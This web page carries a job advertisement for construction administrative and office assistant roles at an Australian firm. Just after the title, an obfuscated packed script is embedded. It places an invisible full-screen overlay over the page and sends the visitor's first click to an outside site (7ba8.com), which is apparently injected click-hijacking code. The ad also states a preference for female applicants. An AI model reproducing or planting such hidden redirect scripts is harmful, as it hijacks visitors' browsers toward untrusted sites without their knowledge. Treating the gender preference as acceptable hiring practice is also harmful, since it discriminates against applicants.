Full Time Construction Admin Assistant & Offic

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>VIGOR MASTER PTY LTD is looking for 1 Full Time Construction Administrative Assistant who is responsible for coordination of projects to ensure timely and effective project development and completion.
Duties & Responsibilities

Prioritize and manage multiple projects simultaneously, and follow through on issues in a timely manner

Create, prepare, compare, update and negotiate various construction documents, outgoing verbal and written communications to approval authorities, suppliers, sub-contractors and etc.

Responsible for project calendar management

Coordination with all team members to ensure compliance with all project deadlines

Draft, prepare, distribute and follow-up with various correspondence

Handle telephone & email inquiries and respond as appropriate

Diligent on follow up and project timetables

Maintain spreadsheets, project data, and other documents as they relate to our cause

Produce procedure sheets and templates

Orders and invoices checking

Company Credit accounts opening

Reception relief, filling and other administrative tasks

Administrative support primarily for all relevant project personnel

Meticulous with contract administration

Skills & Experiences

Ability to take initiative, multitask and time driven in a fast-paced environment, with daily pressure to produce positive results

Critical thinking and problem solving

Excellent organizational skills

Demonstrated commitment to completion of projects on a timely basis

Able to present in a professional manner with others including owners, architects and subcontractors

Excellent English & Mandarin verbal, written and keyboard skills

Experiences supporting at the executive level

Strong knowledge of AutoCad & MS Office Suite.

VIGOR MASTER is also providing 1 Full Time Office Assistant position for Accounting background applicants.
Duties & Responsibilities

General admin and answering the phones and replying emails

Create and prepare general book keeping and data entry

Invoices preparing and checking

Data base management & filing

Liaise with banks or lending institutions to secure the best interest rates and terms

Coordination with all team members to ensure daily operation of the business

Skills & Experiences

Accounting background

Lady First

IELTS overall scores 7

Excellent English & Mandarin verbal, written and keyboard skills

Please send your RESUME to vigormaster@tpg.com.au if the job scope suits what you are pursuing.
Kind Regards,
Vigor Master
TEL (02) 9411 3998
www.vigormaster.com